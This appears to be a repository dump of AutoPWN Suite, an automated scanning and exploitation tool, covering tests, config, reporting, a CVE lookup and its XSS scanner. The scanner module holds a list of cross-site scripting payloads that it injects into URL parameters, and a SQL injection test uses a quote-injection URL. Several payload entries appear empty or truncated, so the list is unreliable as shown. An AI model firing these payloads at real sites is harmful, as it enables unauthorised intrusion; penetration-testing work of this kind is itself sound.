vulnerability was printed to the console 35 | mock_console.print.assert_called() 36 | assert "[white]SQLI :[/white] http://example.com/page?id='1" in mock_console.print.call_args[0][0] 37 | 38 | @patch("modules.web.sqli.get") 39 | def test_sqli_no_vulnerability(self, mock_get, mock_log_console): 40 | """Verify that no vulnerability is reported for a clean response.""" 41 | mock_log, mock_console = mock_log_console 42 | mock_response = MagicMock() 43 | # Simulate a normal response 44 | mock_response.text = "Hello, world!" 45 | mock_get.return_value = mock_response 46 | 47 | sqli_tester = SQLIScanner(mock_log, mock_console) 48 | test_url = "http://example.com/page?id=1" 49 | sqli_tester.test_sqli(test_url) 50 | 51 | # Verify that nothing was printed to the console 52 | mock_console.print.assert_not_called() 53 | 54 | # Patch the ConnectionError within the module where it's being caught. 55 | @patch("modules.web.sqli.ConnectionError", new=ConnectionError) 56 | @patch("modules.web.sqli.get", side_effect=ConnectionError) 57 | def test_sqli_connection_error(self, mock_get, mock_log_console): 58 | """Verify that a connection error is handled gracefully.""" 59 | mock_log, mock_console = mock_log_console 60 | 61 | sqli_tester = SQLIScanner(mock_log, mock_console) 62 | test_url = "http://example.com/page?id=1" 63 | 64 | sqli_tester.test_sqli(test_url) 65 | 66 | # Verify that the error was logged 67 | mock_log.logger.assert_called_once() 68 | assert "Connection error raised on" in mock_log.logger.call_args[0][1] -------------------------------------------------------------------------------- /tests/unit/test_web_xss.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the xss module. 3 | """ 4 | from unittest.mock import MagicMock, patch 5 | 6 | import pytest 7 | from requests.exceptions import ConnectionError 8 | 9 | from modules.web.xss import XSSScanner 10 | 11 | 12 | @pytest.mark.unit 13 | class TestXSSScanner: 14 | """Tests for the XSSScanner class.""" 15 | 16 | @pytest.fixture 17 | def mock_log_console(self): 18 | """Fixture for a mocked logger and console.""" 19 | return MagicMock(), MagicMock() 20 | 21 | @patch("modules.web.xss.get") 22 | @patch("modules.web.xss.choices") 23 | def test_xss_vulnerability_found(self, mock_choices, mock_get, mock_log_console): 24 | """Verify that an XSS vulnerability is detected and printed.""" 25 | mock_log, mock_console = mock_log_console 26 | 27 | # Make the random payload predictable for the test 28 | fixed_payload_text = "fixedpayload" 29 | mock_choices.return_value = list(fixed_payload_text) 30 | 31 | mock_response = MagicMock() 32 | # Simulate a response that reflects the payload 33 | mock_response.text = f"Search results for {fixed_payload_text}" 34 | mock_get.return_value = mock_response 35 | 36 | xss_tester = XSSScanner(mock_log, mock_console) 37 | test_url = "http://example.com/search?q=test" 38 | xss_tester.test_xss(test_url) 39 | 40 | # Verify that a vulnerability was printed to the console 41 | mock_console.print.assert_called() 42 | assert "[white]XSS :[/white]" in mock_console.print.call_args[0][0] 43 | assert fixed_payload_text in mock_console.print.call_args[0][0] 44 | 45 | @patch("modules.web.xss.get") 46 | def test_xss_no_vulnerability(self, mock_get, mock_log_console): 47 | """Verify that no vulnerability is reported for a clean response.""" 48 | mock_log, mock_console = mock_log_console 49 | mock_response = MagicMock() 50 | # Simulate a normal response that does not reflect the payload 51 | mock_response.text = "Search results" 52 | mock_get.return_value = mock_response 53 | 54 | xss_tester = XSSScanner(mock_log, mock_console) 55 | test_url = "http://example.com/search?q=test" 56 | xss_tester.test_xss(test_url) 57 | 58 | # Verify that nothing was printed to the console 59 | mock_console.print.assert_not_called() 60 | 61 | @patch("modules.web.xss.ConnectionError", new=ConnectionError) 62 | @patch("modules.web.xss.get", side_effect=ConnectionError) 63 | def test_xss_connection_error(self, mock_get, mock_log_console): 64 | """Verify that a connection error is handled gracefully.""" 65 | mock_log, mock_console = mock_log_console 66 | 67 | xss_tester = XSSScanner(mock_log, mock_console) 68 | test_url = "http://example.com/search?q=test" 69 | xss_tester.test_xss(test_url) 70 | 71 | # Verify that the error was logged 72 | mock_log.logger.assert_called() 73 | assert "Connection error raised on" in mock_log.logger.call_args[0][1] -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "autopwn-suite" 3 | version = "2.3.2" 4 | description = "AutoPWN Suite - Automated Vulnerability Scanning and Exploitation Tool" 5 | authors = ["AutoPWN Suite Contributors"] 6 | readme = "README.md" 7 | license = "GPL-3.0" 8 | homepage = "https://github.com/GamehunterKaan/AutoPWN-Suite" 9 | repository = "https://github.com/GamehunterKaan/AutoPWN-Suite" 10 | keywords = ["security", "penetration-testing", "vulnerability-scanner", "exploitation"] 11 | classifiers = [ 12 | "Development Status :: 4 - Beta", 13 | "Environment :: Console", 14 | "Intended Audience :: Information Technology", 15 | "License :: OSI Approved :: GNU General Public License v3 (GPLv3)", 16 | "Operating System :: OS Independent", 17 | "Programming Language :: Python :: 3", 18 | "Programming Language :: Python :: 3.9", 19 | "Programming Language :: Python :: 3.10", 20 | "Programming Language :: Python :: 3.11", 21 | "Topic :: Security", 22 | ] 23 | packages = [ 24 | { include = "modules" }, 25 | { include = "api.py" }, 26 | { include = "autopwn.py" }, 27 | { include = "__init__.py" } 28 | ] 29 | 30 | [tool.poetry.dependencies] 31 | python = "^3.9" 32 | requests = "*" 33 | rich = "*" 34 | python-nmap = "*" 35 | beautifulsoup4 = "*" 36 | distro = "*" 37 | urllib3 = "^2.6.0" 38 | 39 | [tool.poetry.group.dev.dependencies] 40 | pytest = "^7.4.0" 41 | pytest-cov = "^4.1.0" 42 | pytest-mock = "^3.11.0" 43 | 44 | [tool.poetry.scripts] 45 | test = "pytest:main" 46 | tests = "pytest:main" 47 | 48 | [tool.pytest.ini_options] 49 | minversion = "7.0" 50 | addopts = [ 51 | "-ra", 52 | "--strict-markers", 53 | "--strict-config", 54 | "--cov=modules", 55 | "--cov=api", 56 | "--cov=autopwn", 57 | "--cov-branch", 58 | "--cov-report=term-missing:skip-covered", 59 | "--cov-report=html:htmlcov", 60 | "--cov-report=xml:coverage.xml", 61 | "--cov-fail-under=80", 62 | "-vv", 63 | ] 64 | testpaths = ["tests"] 65 | python_files = ["test_*.py", "*_test.py"] 66 | python_classes = ["Test*"] 67 | python_functions = ["test_*"] 68 | markers = [ 69 | "unit: Unit tests", 70 | "integration: Integration tests", 71 | "slow: Slow running tests", 72 | ] 73 | 74 | [tool.coverage.run] 75 | source = ["modules", "api", "autopwn"] 76 | branch = true 77 | omit = [ 78 | "*/tests/*", 79 | "*/__pycache__/*", 80 | "*/venv/*", 81 | "*/virtualenv/*", 82 | "*/.venv/*", 83 | "*/site-packages/*", 84 | ] 85 | 86 | [tool.coverage.report] 87 | precision = 2 88 | show_missing = true 89 | skip_covered = false 90 | fail_under = 80 91 | exclude_lines = [ 92 | "pragma: no cover", 93 | "def __repr__", 94 | "if self.debug:", 95 | "if settings.DEBUG", 96 | "raise AssertionError", 97 | "raise NotImplementedError", 98 | "if 0:", 99 | "if __name__ == .__main__.:", 100 | "class .*\\bProtocol\\):", 101 | "@(abc\\.)?abstractmethod", 102 | ] 103 | 104 | [tool.coverage.html] 105 | directory = "htmlcov" 106 | 107 | [tool.coverage.xml] 108 | output = "coverage.xml" 109 | 110 | [build-system] 111 | requires = ["poetry-core"] 112 | build-backend = "poetry.core.masonry.api" -------------------------------------------------------------------------------- /tests/unit/test_web_webvuln.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the webvuln module. 3 | """ 4 | from unittest.mock import MagicMock, patch, call 5 | from requests.exceptions import ConnectionError 6 | 7 | import pytest 8 | 9 | from modules.web.webvuln import webvuln 10 | 11 | 12 | @pytest.mark.unit 13 | class TestWebVuln: 14 | """Tests for the main webvuln orchestration function.""" 15 | 16 | @pytest.fixture 17 | def mock_log_console(self): 18 | """Fixture for a mocked logger and console.""" 19 | return MagicMock(), MagicMock() 20 | 21 | @patch("modules.web.webvuln.random_user_agent") 22 | @patch("modules.web.webvuln.get", side_effect=ConnectionError) 23 | def test_webvuln_no_web_server(self, mock_get, mock_ua, mock_log_console): 24 | """Verify webvuln exits if get_url can't find a server.""" 25 | mock_log, mock_console = mock_log_console 26 | mock_ua.return_value = iter(["Test-UA"]) 27 | 28 | webvuln("127.0.0.1", mock_log, mock_console) 29 | 30 | # Verify it tried to connect to both http and https 31 | mock_get.assert_has_calls([call("http://127.0.0.1/", headers={'User-Agent': 'Test-UA'}, timeout=10, verify=False), call("https://127.0.0.1/", headers={'User-Agent': 'Test-UA'}, timeout=10, verify=False)]) 32 | # Ensure no other actions were taken 33 | mock_log.logger.assert_not_called() 34 | 35 | @patch("modules.web.webvuln.get") 36 | @patch("modules.web.webvuln.crawl", return_value={"http://example.com/index.html"}) 37 | def test_webvuln_no_testable_urls(self, mock_crawl, mock_get, mock_log_console): 38 | """Verify webvuln logs and exits if no testable URLs are found.""" 39 | mock_log, mock_console = mock_log_console 40 | webvuln("example.com", mock_log, mock_console) 41 | 42 | mock_crawl.assert_called_once_with("http://example.com/", mock_log) 43 | mock_log.logger.assert_called_with("info", "Found 0 testable urls.") 44 | 45 | @patch("modules.web.webvuln.dirbust") 46 | @patch("modules.web.webvuln.XSSScanner") 47 | @patch("modules.web.webvuln.SQLIScanner") 48 | @patch("modules.web.webvuln.LFIScanner") 49 | @patch("modules.web.webvuln.crawl") 50 | @patch("modules.web.webvuln.get") 51 | def test_webvuln_success_path( 52 | self, 53 | mock_get, 54 | mock_crawl, 55 | mock_lfi_scanner, 56 | mock_sqli_scanner, 57 | mock_xss_scanner, 58 | mock_dirbust, 59 | mock_log_console, 60 | ): 61 | """Verify that all scanners are called for a testable URL.""" 62 | mock_log, mock_console = mock_log_console 63 | target_url = "http://example.com/" 64 | testable_url = "http://example.com/page?id=1" 65 | 66 | mock_crawl.return_value = {testable_url} 67 | 68 | # Mock the instances of the scanner classes 69 | mock_lfi_instance = mock_lfi_scanner.return_value 70 | mock_sqli_instance = mock_sqli_scanner.return_value 71 | mock_xss_instance = mock_xss_scanner.return_value 72 | 73 | webvuln("example.com", mock_log, mock_console) 74 | 75 | # Verify orchestration functions are called 76 | mock_dirbust.assert_called_once_with(target_url, mock_console, mock_log) 77 | 78 | # Verify individual scanners are called with the testable URL 79 | mock_lfi_instance.test_lfi.assert_called_once_with(testable_url) 80 | mock_sqli_instance.test_sqli.assert_called_once_with(testable_url) 81 | mock_xss_instance.test_xss.assert_called_once_with(testable_url) -------------------------------------------------------------------------------- /modules/web/xss.py: -------------------------------------------------------------------------------- 1 | from random import choices, randint 2 | from string import ascii_letters 3 | 4 | from requests import get 5 | from requests import packages 6 | 7 | 8 | packages.urllib3.disable_warnings() 9 | 10 | class XSSScanner: 11 | def __init__(self, log, console) -> None: 12 | self.log = log 13 | self.console = console 14 | self.tested_urls = [] 15 | self.xss_test = [ 16 | r"", 17 | r"\\\";alert('PAYLOAD');//", 18 | r"", 19 | r"", 20 | r"
", 21 | r"<%", 22 | r"", 23 | r"", 24 | r"", 25 | r"", 27 | r"ipt>alert('PAYLOAD')ipt>", 28 | r"<", 29 | r"", 30 | r"", 32 | r"", 33 | r"", 34 | r"\"`'>", 35 | r"`\"'>", 36 | r"alert;pg('PAYLOAD')", 37 | r"¼script¾alert(¢PAYLOAD¢)¼/script¾", 38 | r"d=\\\"alert('PAYLOAD');\\\\\")\\\";", 39 | r"<DIV STYLE=\\\"background-image: url(javascript:" 40 | + r"alert('PAYLOAD'))\\\">", 41 | ] 42 | 43 | def exploit_xss(self, base_url, url_params) -> None: 44 | for param in url_params: 45 | for test in self.xss_test: 46 | param_no_value = param.split("=")[0] 47 | payload_length = randint(5, 15) 48 | payload_text = "".join(choices(ascii_letters, k=payload_length)) 49 | payload = test.replace("PAYLOAD", payload_text) 50 | main_url = f"{base_url}?{param_no_value}" 51 | 52 | if not main_url in self.tested_urls: 53 | self.tested_urls.append(main_url) 54 | test_url = f"{main_url}={payload}" 55 | else: 56 | continue 57 | 58 | try: 59 | response = get(test_url, verify=False) 60 | except ConnectionError: 61 | self.log.logger( 62 | "error", f"Connection error raised on: {test_url}, skipping" 63 | ) 64 | continue 65 | else: 66 | if response.text.find(payload_text) != -1: 67 | self.console.print( 68 | f"[red][[/red][green]+[/green][red]][/red]" 69 | + f" [white]XSS :[/white] {test_url}" 70 | ) 71 | break 72 | 73 | def test_xss(self, url) -> None: 74 | """ 75 | Tets for XSS 76 | """ 77 | base_url, params = url.split("?")[0], url.split("?")[1] 78 | params_dict = params.split("&") 79 | self.exploit_xss(base_url, params_dict) 80 | -------------------------------------------------------------------------------- /modules/report.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass 2 | from email.mime.multipart import MIMEMultipart 3 | from email.mime.text import MIMEText 4 | from enum import Enum 5 | from os import remove 6 | from smtplib import SMTP 7 | 8 | from requests import post 9 | 10 | 11 | class ReportType(Enum): 12 | """ 13 | Enum for report types. 14 | """ 15 | 16 | NONE = 0 17 | EMAIL = 1 18 | WEBHOOK = 2 19 | 20 | 21 | @dataclass() 22 | class ReportMail: 23 | """ 24 | Report mail. 25 | """ 26 | 27 | email: str 28 | password: str 29 | email_to: str 30 | email_from: str 31 | server: str 32 | port: int 33 | 34 | 35 | def InitializeEmailReport(EmailObj, log, console) -> None: 36 | """ 37 | Initialize email report. 38 | """ 39 | email = EmailObj.email 40 | password = EmailObj.password 41 | email_to = EmailObj.email_to 42 | email_from = EmailObj.email_from 43 | server = EmailObj.server 44 | port = EmailObj.port 45 | 46 | console.save_html("tmp_report.html") 47 | 48 | log.logger("info", "Sending email report...") 49 | 50 | SendEmail(email, password, email_to, email_from, server, port, log) 51 | 52 | remove("tmp_report.html") 53 | 54 | 55 | def SendEmail(email, password, email_to, email_from, server, port, log) -> None: 56 | """ 57 | Send email report. 58 | """ 59 | 60 | # Since google disabled sending emails via 61 | # smtp, i didn't have an opportunity to test 62 | # please create an issue if you test this 63 | msg = MIMEMultipart() 64 | msg["From"] = email_from 65 | msg["To"] = email_to 66 | msg["Subject"] = "AutoPWN Report" 67 | 68 | body = "AutoPWN Report" 69 | msg.attach(MIMEText(body, "plain")) 70 | 71 | html = open("tmp_report.html", "rb").read() 72 | part = MIMEText(html, "text/html") 73 | msg.attach(part) 74 | 75 | mail = SMTP(server, port) 76 | mail.starttls() 77 | mail.login(email, password) 78 | try: 79 | text = msg.as_string() 80 | mail.sendmail(email, email_to, text) 81 | except Exception: 82 | log.logger("error", "An error occured while trying to send email report.") 83 | else: 84 | log.logger("success", "Email report sent successfully.") 85 | finally: 86 | mail.quit() 87 | 88 | 89 | def InitializeWebhookReport(Webhook, log, console) -> None: 90 | """ 91 | Initialize webhook report. 92 | """ 93 | log.logger("info", "Sending webhook report...") 94 | console.save_text("report.log") 95 | SendWebhook(Webhook, log) 96 | remove("report.log") 97 | 98 | 99 | def SendWebhook(url, log) -> None: 100 | """ 101 | Send webhook report. 102 | """ 103 | file = open("report.log", "r", encoding="utf-8") 104 | payload = {"payload": file} 105 | 106 | try: 107 | req = post(url, files=payload) 108 | file.close() 109 | if req.status_code == 200: 110 | log.logger("success", "Webhook report sent succesfully.") 111 | else: 112 | log.logger("error", "Webhook report failed to send.") 113 | print(req.text) 114 | except Exception as e: 115 | log.logger("error", e) 116 | log.logger("error", "Webhook report failed to send.") 117 | 118 | 119 | def InitializeReport(Method, ReportObject, log, console) -> None: 120 | """ 121 | Initialize report. 122 | """ 123 | if Method == ReportType.EMAIL: 124 | InitializeEmailReport(ReportObject, log, console) 125 | elif Method == ReportType.WEBHOOK: 126 | InitializeWebhookReport(ReportObject, log, console) 127 | -------------------------------------------------------------------------------- /modules/nist_search.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass 2 | from time import sleep 3 | 4 | from requests import get 5 | 6 | 7 | cache = {} 8 | 9 | 10 | @dataclass 11 | class Vulnerability: 12 | title: str 13 | CVEID: str 14 | description: str 15 | severity: str 16 | severity_score: float 17 | details_url: str 18 | exploitability: float 19 | 20 | def __str__(self) -> str: 21 | return ( 22 | f"Title : {self.title}\n" 23 | + f"CVE_ID : {self.CVEID}\n" 24 | + f"Description : {self.description}\n" 25 | + f"Severity : {self.severity} - {self.severity_score}\n" 26 | + f"Details : {self.details_url}\n" 27 | + f"Exploitability : {self.exploitability}" 28 | ) 29 | 30 | 31 | def FindVars(vuln: dict) -> tuple: 32 | CVE_ID = vuln["cve"]["id"] 33 | description = vuln["cve"]["descriptions"][0]["value"] 34 | exploitability = 0.0 35 | severity_score = 0.0 36 | severity = "UNKNOWN" 37 | 38 | metrics = vuln["cve"].get("metrics") 39 | if metrics is not None and len(metrics) > 0: 40 | # In testing this appears to contain cvssMetricV31 and cvssMetricV2 41 | # Get a list of the score types and sort them in reverse order to get v3 first 42 | metrics_types = list(metrics.keys()) 43 | metrics_types.sort(reverse=True) 44 | for score_type in metrics_types: 45 | if exploitability == 0.0: 46 | exploitability = metrics[score_type][0].get("exploitabilityScore", 0.0) 47 | if severity_score == 0.0: 48 | severity_score = metrics[score_type][0].get("cvssData", {}).get("baseScore", 0.0) 49 | if severity == "UNKNOWN": 50 | severity = metrics[score_type][0].get("cvssData", {}).get("baseSeverity", "UNKNOWN") 51 | 52 | details_url = "https://nvd.nist.gov/vuln/detail/" + CVE_ID 53 | 54 | return CVE_ID, description, severity, severity_score, details_url, exploitability 55 | 56 | 57 | def searchCVE(keyword: str, log, apiKey=None) -> list[Vulnerability]: 58 | url = "https://services.nvd.nist.gov/rest/json/cves/2.0?" 59 | # https://services.nvd.nist.gov/rest/json/cves/2.0?keywordSearch=OpenSSH+8.8 60 | if apiKey: 61 | sleep_time = 0.1 62 | headers = {"apiKey": apiKey} 63 | else: 64 | sleep_time = 8 65 | headers = {} 66 | parameters = {"keywordSearch": keyword} 67 | 68 | if keyword in cache: 69 | return cache[keyword] 70 | 71 | for tries in range(3): 72 | try: 73 | sleep(sleep_time) 74 | response = get(url, params=parameters, headers=headers) 75 | data = response.json() 76 | except Exception as e: 77 | if response.status_code == 403: 78 | log.logger( 79 | "error", 80 | "Requests are being rate limited by NIST API," 81 | + " please get a NIST API key to prevent this.", 82 | ) 83 | sleep(sleep_time) 84 | else: 85 | break 86 | 87 | Vulnerabilities = [] 88 | if not data or not "vulnerabilities" in data: 89 | return [] 90 | 91 | for vuln in data.get("vulnerabilities", []): 92 | title = keyword 93 | ( 94 | CVE_ID, 95 | description, 96 | severity, 97 | severity_score, 98 | details_url, 99 | exploitability, 100 | ) = FindVars(vuln) 101 | VulnObject = Vulnerability( 102 | title=title, 103 | CVEID=CVE_ID, 104 | description=description, 105 | severity=severity, 106 | severity_score=severity_score, 107 | details_url=details_url, 108 | exploitability=exploitability, 109 | ) 110 | 111 | Vulnerabilities.append(VulnObject) 112 | 113 | cache[keyword] = Vulnerabilities 114 | return Vulnerabilities 115 | -------------------------------------------------------------------------------- /tests/unit/test_web_crawler.py: -------------------------------------------------------------------------------- 1 | """ 2 | Unit tests for the crawler module. 3 | """ 4 | from unittest.mock import MagicMock, patch 5 | 6 | import pytest 7 | from requests.exceptions import ConnectionError 8 | 9 | from modules.web.crawler import crawl, link_finder 10 | 11 | 12 | @pytest.mark.unit 13 | class TestCrawler: 14 | """Tests for the web crawler functions.""" 15 | 16 | @pytest.fixture 17 | def mock_log(self): 18 | """Fixture for a mocked logger.""" 19 | return MagicMock() 20 | 21 | @pytest.mark.parametrize( 22 | "html_content, expected_urls", 23 | [ 24 | ('Page 1', {"http://example.com/page1"}), 25 | ('Page 2', {"http://example.com/page2"}), 26 | ('Page 3', {"http://example.com/page3"}), 27 | ('Page 4', {"http://example.com/page4"}), 28 | # Ignored cases 29 | ('Page 5', set()), 30 | ('Anchor', set()), 31 | ('Empty', set()), 32 | # Combination 33 | ('1 2 3', {"http://example.com/page1", "http://example.com/page2"}), 34 | ] 35 | ) 36 | @patch("modules.web.crawler.random_user_agent") 37 | @patch("modules.web.crawler.get") 38 | def test_link_finder_parses_links(self, mock_get, mock_ua, mock_log, html_content, expected_urls): 39 | """Verify link_finder correctly parses various link formats.""" 40 | mock_ua.return_value = iter(["Test-UA"]) 41 | mock_response = MagicMock() 42 | mock_response.text = html_content 43 | mock_get.return_value = mock_response 44 | 45 | target_url = "http://example.com" 46 | urls = link_finder(target_url, mock_log) 47 | 48 | assert urls == expected_urls 49 | 50 | @patch("modules.web.crawler.link_finder") 51 | @patch("modules.web.crawler.get") 52 | @patch("modules.web.crawler.random_user_agent") 53 | def test_crawl_success_path_no_deep_crawl(self, mock_ua, mock_get, mock_link_finder, mock_log): 54 | """Verify crawl function returns links without deep crawling if enough are found.""" 55 | mock_ua.return_value = iter(["Test-UA"]) 56 | # Simulate a large number of found URLs to prevent deep crawl 57 | initial_urls = {f"http://example.com/page{i}" for i in range(30)} 58 | mock_link_finder.return_value = initial_urls 59 | 60 | found_urls = crawl("http://example.com", mock_log) 61 | 62 | # link_finder should only be called once 63 | mock_link_finder.assert_called_once() 64 | assert found_urls == initial_urls 65 | 66 | @patch("modules.web.crawler.link_finder") 67 | @patch("modules.web.crawler.get") 68 | @patch("modules.web.crawler.random_user_agent") 69 | def test_crawl_deep_crawl_logic(self, mock_ua, mock_get, mock_link_finder, mock_log): 70 | """Verify crawl function performs a deep crawl if few links are found.""" 71 | mock_ua.return_value = iter(["Test-UA", "Test-UA-2"]) 72 | 73 | # First call finds one link, second call finds another 74 | mock_link_finder.side_effect = [ 75 | {"http://example.com/page1"}, 76 | {"http://example.com/page2"}, 77 | ] 78 | 79 | found_urls = crawl("http://example.com", mock_log) 80 | 81 | assert mock_link_finder.call_count == 2 82 | assert found_urls == {"http://example.com/page1", "http://example.com/page2"} 83 | 84 | @patch("modules.web.crawler.ConnectionError", new=ConnectionError) 85 | @patch("modules.web.crawler.random_user_agent") 86 | @patch("modules.web.crawler.get", side_effect=ConnectionError) 87 | def test_crawl_initial_connection_error(self, mock_get, mock_ua, mock_log): 88 | """Verify crawl handles a connection error on the initial request.""" 89 | mock_ua.return_value = iter(["Test-UA"]) 90 | 91 | found_urls = crawl("http://example.com", mock_log) 92 | 93 | # Assert that it returns an empty set and logs the error 94 | assert found_urls == set() 95 | mock_log.logger.assert_called_with("error", "Connection error raised.") -------------------------------------------------------------------------------- /autopwn.py: -------------------------------------------------------------------------------- 1 | from datetime import datetime 2 | from time import sleep 3 | 4 | from rich.console import Console 5 | 6 | from modules.banners import print_banner 7 | from modules.getexploits import GetExploitsFromArray 8 | from modules.logger import Logger 9 | from modules.report import InitializeReport 10 | from modules.scanner import AnalyseScanResults, DiscoverHosts, NoiseScan, PortScan 11 | from modules.searchvuln import SearchSploits 12 | from modules.utils import ( 13 | GetHostsToScan, 14 | InitArgsAPI, 15 | InitArgsConf, 16 | InitArgsMode, 17 | InitArgsScanType, 18 | InitArgsTarget, 19 | InitAutomation, 20 | InitReport, 21 | ParamPrint, 22 | SaveOutput, 23 | ScanMode, 24 | UserConfirmation, 25 | WebScan, 26 | CheckConnection, 27 | check_nmap, 28 | cli, 29 | ) 30 | from modules.web.webvuln import webvuln 31 | from modules.daemon.daemon_installer import InstallDaemon, UninstallDaemon, CreateConfig 32 | 33 | def StartScanning( 34 | args, targetarg, scantype, scanmode, apiKey, console, console2, log 35 | ) -> None: 36 | 37 | check_nmap(log) 38 | 39 | if scanmode == ScanMode.Noise: 40 | NoiseScan(targetarg, log, console, scantype, args.noise_timeout) 41 | 42 | if not args.skip_discovery: 43 | hosts = DiscoverHosts(targetarg, console, scantype, scanmode) 44 | Targets = GetHostsToScan(hosts, console) 45 | else: 46 | Targets = [targetarg] 47 | 48 | ScanPorts, ScanVulns, DownloadExploits = UserConfirmation(args) 49 | ScanWeb = WebScan() 50 | 51 | for host in Targets: 52 | if ScanPorts: 53 | PortScanResults = PortScan( 54 | host, log, args.speed, args.host_timeout, scanmode, args.nmap_flags 55 | ) 56 | PortArray = AnalyseScanResults(PortScanResults, log, console, host) 57 | if ScanVulns and len(PortArray) > 0: 58 | VulnsArray = SearchSploits(PortArray, log, console, console2, apiKey) 59 | if DownloadExploits and len(VulnsArray) > 0: 60 | GetExploitsFromArray(VulnsArray, log, console, console2, host) 61 | 62 | if ScanWeb: 63 | webvuln(host, log, console) 64 | 65 | console.print( 66 | "{time} - Scan completed.".format( 67 | time=datetime.now().strftime("%b %d %Y %H:%M:%S") 68 | ) 69 | ) 70 | 71 | 72 | def main() -> None: 73 | __author__ = "GamehunterKaan" 74 | __version__ = "2.3.2" 75 | 76 | args = cli() 77 | if args.no_color: 78 | console = Console(record=True, color_system=None) 79 | console2 = Console(record=False, color_system=None) 80 | else: 81 | console = Console(record=True, color_system="truecolor") 82 | console2 = Console(record=False, color_system="truecolor") 83 | log = Logger(console) 84 | 85 | if args.version: 86 | print(f"AutoPWN Suite v{__version__}") 87 | raise SystemExit 88 | elif args.daemon_install: 89 | InstallDaemon(console) 90 | raise SystemExit 91 | elif args.daemon_uninstall: 92 | UninstallDaemon(console) 93 | raise SystemExit 94 | elif args.create_config: 95 | CreateConfig(console) 96 | raise SystemExit 97 | 98 | print_banner(console) 99 | 100 | CheckConnection(log) 101 | 102 | if args.config: 103 | InitArgsConf(args, log) 104 | 105 | InitAutomation(args) 106 | targetarg = InitArgsTarget(args, log) 107 | scantype = InitArgsScanType(args, log) 108 | scanmode = InitArgsMode(args, log) 109 | apiKey = InitArgsAPI(args, log) 110 | ReportMethod, ReportObject = InitReport(args, log) 111 | 112 | ParamPrint(args, targetarg, scantype, scanmode, apiKey, console, log) 113 | 114 | StartScanning(args, targetarg, scantype, scanmode, apiKey, console, console2, log) 115 | 116 | InitializeReport(ReportMethod, ReportObject, log, console) 117 | SaveOutput(console, args.output_type, args.output, args.output_folder, targetarg) 118 | 119 | if not hasattr(args, "scan_interval"): 120 | args.scan_interval = None 121 | if args.scan_interval and args.scan_interval > 0: 122 | console.print(f"Sleeping for {args.scan_interval} seconds...") 123 | sleep(args.scan_interval) 124 | 125 | if __name__ == "__main__": 126 | try: 127 | main() 128 | except KeyboardInterrupt: 129 | raise SystemExit("Ctrl+C pressed. Exiting.") 130 | -------------------------------------------------------------------------------- /.github/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | 3 | When contributing to this repository, please first discuss the change you wish to make via issue, 4 | email, or any other method with the owners of this repository before making a change. 5 | 6 | Please note we have a code of conduct, please follow it in all your interactions with the project. 7 | 8 | ## Pull Request Process 9 | 10 | 1. Ensure any install or build dependencies are removed before the end of the layer when doing a 11 | build. 12 | 2. Update the README.md with details of changes to the interface, this includes new environment 13 | variables, exposed ports, useful file locations and container parameters. 14 | 3. Increase the version numbers in any examples files and the README.md to the new version that this 15 | Pull Request would represent. The versioning scheme we use is [SemVer](http://semver.org/). 16 | 4. You may merge the Pull Request in once you have the sign-off of two other developers, or if you 17 | do not have permission to do that, you may request the second reviewer to merge it for you. 18 | 19 | ## Code of Conduct 20 | 21 | ### Our Pledge 22 | 23 | In the interest of fostering an open and welcoming environment, we as 24 | contributors and maintainers pledge to making participation in our project and 25 | our community a harassment-free experience for everyone, regardless of age, body 26 | size, disability, ethnicity, gender identity and expression, level of experience, 27 | nationality, personal appearance, race, religion, or sexual identity and 28 | orientation. 29 | 30 | ### Our Standards 31 | 32 | Examples of behavior that contributes to creating a positive environment 33 | include: 34 | 35 | * Using welcoming and inclusive language 36 | * Being respectful of differing viewpoints and experiences 37 | * Gracefully accepting constructive criticism 38 | * Focusing on what is best for the community 39 | * Showing empathy towards other community members 40 | 41 | Examples of unacceptable behavior by participants include: 42 | 43 | * The use of sexualized language or imagery and unwelcome sexual attention or 44 | advances 45 | * Trolling, insulting/derogatory comments, and personal or political attacks 46 | * Public or private harassment 47 | * Publishing others' private information, such as a physical or electronic 48 | address, without explicit permission 49 | * Other conduct which could reasonably be considered inappropriate in a 50 | professional setting 51 | 52 | ### Our Responsibilities 53 | 54 | Project maintainers are responsible for clarifying the standards of acceptable 55 | behavior and are expected to take appropriate and fair corrective action in 56 | response to any instances of unacceptable behavior. 57 | 58 | Project maintainers have the right and responsibility to remove, edit, or 59 | reject comments, commits, code, wiki edits, issues, and other contributions 60 | that are not aligned to this Code of Conduct, or to ban temporarily or 61 | permanently any contributor for other behaviors that they deem inappropriate, 62 | threatening, offensive, or harmful. 63 | 64 | ### Scope 65 | 66 | This Code of Conduct applies both within project spaces and in public spaces 67 | when an individual is representing the project or its community. Examples of 68 | representing a project or community include using an official project e-mail 69 | address, posting via an official social media account, or acting as an appointed 70 | representative at an online or offline event. Representation of a project may be 71 | further defined and clarified by project maintainers. 72 | 73 | ### Enforcement 74 | 75 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 76 | reported by contacting the project team. All complaints will be reviewed 77 | and investigated and will result in a response that is deemed necessary 78 | and appropriate to the circumstances. The project team is obligated to 79 | maintain confidentiality with regard to the reporter of an incident. 80 | Further details of specific enforcement policies may be posted separately. 81 | 82 | Project maintainers who do not follow or enforce the Code of Conduct in good 83 | faith may face temporary or permanent repercussions as determined by other 84 | members of the project's leadership. 85 | 86 | ### Attribution 87 | 88 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, 89 | available at [http://contributor-covenant.org/version/1/4][version] 90 | 91 | [homepage]: http://contributor-covenant.org 92 | [version]: http://contributor-covenant.org/version/1/4/ 93 | -------------------------------------------------------------------------------- /modules/searchvuln.py: -------------------------------------------------------------------------------- 1 | from dataclasses import dataclass 2 | from textwrap import wrap 3 | 4 | from modules.logger import banner 5 | from modules.nist_search import searchCVE 6 | from modules.utils import CheckConnection, get_terminal_width 7 | from rich.progress_bar import ProgressBar 8 | 9 | 10 | @dataclass 11 | class VulnerableSoftware: 12 | title: str 13 | CVEs: list 14 | 15 | 16 | def GenerateKeyword(product: str, version: str) -> str: 17 | if product == "Unknown": 18 | product = "" 19 | 20 | if version == "Unknown": 21 | version = "" 22 | 23 | keyword = "" 24 | dontsearch = [ 25 | "http", 26 | "https", 27 | "linux 